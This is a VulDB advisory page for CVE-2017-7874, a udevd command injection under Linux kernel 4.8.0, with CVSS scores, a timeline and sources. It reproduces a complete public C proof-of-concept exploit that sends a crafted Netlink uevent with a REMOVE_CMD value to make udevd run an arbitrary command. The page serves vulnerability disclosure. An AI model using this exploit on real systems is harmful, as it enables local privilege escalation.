Linux Kernel 4.8.0 udevd 50-udev-default.rules command injection

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
5.0$0-$5k0.00

Summaryinfo

A vulnerability marked as problematic has been reported in Linux Kernel 4.8.0. Affected is an unknown function in the library /lib/udev/rules.d/50-udev-default.rules of the component udevd. This manipulation causes command injection. This vulnerability is handled as CVE-2017-7874. It is possible to launch the attack on the local host. Additionally, an exploit exists.

Detailsinfo

A vulnerability classified as problematic was found in Linux Kernel 4.8.0 (Operating System). Affected by this vulnerability is an unknown code in the library /lib/udev/rules.d/50-udev-default.rules of the component udevd. The manipulation with an unknown input leads to a command injection vulnerability. The CWE definition for the vulnerability is CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability. The summary by CVE is:

udevd in udev 232, when the Linux kernel 4.8.0 is used, does not properly verify the source of a Netlink message, which allows local users to execute arbitrary commands by leveraging access to the NETLINK_KOBJECT_UEVENT family, and the presence of the /lib/udev/rules.d/50-udev-default.rules file, to provide a crafted REMOVE_CMD value.

The bug was discovered 04/15/2017. The weakness was released 04/15/2017 (Website). The advisory is shared at exploit-db.com. This vulnerability is known as CVE-2017-7874 since 04/14/2017. An attack has to be approached locally. A single authentication is needed for exploitation. Technical details and also a public exploit are known. MITRE ATT&CK project uses the attack technique T1202 for this issue.

A public exploit has been developed by Nassim Asrir in ANSI C and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The code used by the exploit is:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
 
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
 
int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;
 
  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;
 
  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;
 
  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));
 
  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;
 
  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);
 
  sendmsg(sock, &msg, 0);
 
  close(sock);
 
  return 0;
}

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at Exploit-DB (41886) and SecurityFocus (BID 97679†). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Type

Vendor

Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 5.3
VulDB Meta Temp Score: 5.0

VulDB Base Score: 5.3
VulDB Temp Score: 5.0
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Command injection
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Physical: Partially
Local: Yes
Remote: No

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Nassim Asrir
Programming Language: 🔍
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

04/14/2017 🔍
04/15/2017 +1 days 🔍
04/15/2017 +0 days 🔍
04/15/2017 +0 days 🔍
04/15/2017 +0 days 🔍
04/15/2017 +0 days 🔍
04/16/2017 +1 days 🔍
12/27/2024 +2812 days 🔍

Sourcesinfo

Vendor: kernel.org

Advisory: 142152
Status: Confirmed

CVE: CVE-2017-7874 (🔍)
GCVE (CVE): GCVE-0-2017-7874
GCVE (VulDB): GCVE-100-99901
SecurityFocus: 97679 - Linux Kernel CVE-2017-7874 Local Privilege Escalation Vulnerability
OSVDB: - Linux Kernel udev command execution

scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 04/16/2017 10:46
Updated: 12/27/2024 09:32
Changes: 04/16/2017 10:46 (52), 09/17/2020 18:46 (5), 11/29/2022 14:32 (2), 12/27/2024 09:32 (14)
Complete: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Discussion

No comments yet. Languages: en.

Please log in to comment.

Do you want to use VulDB in your project?

Use the official API to access entries easily!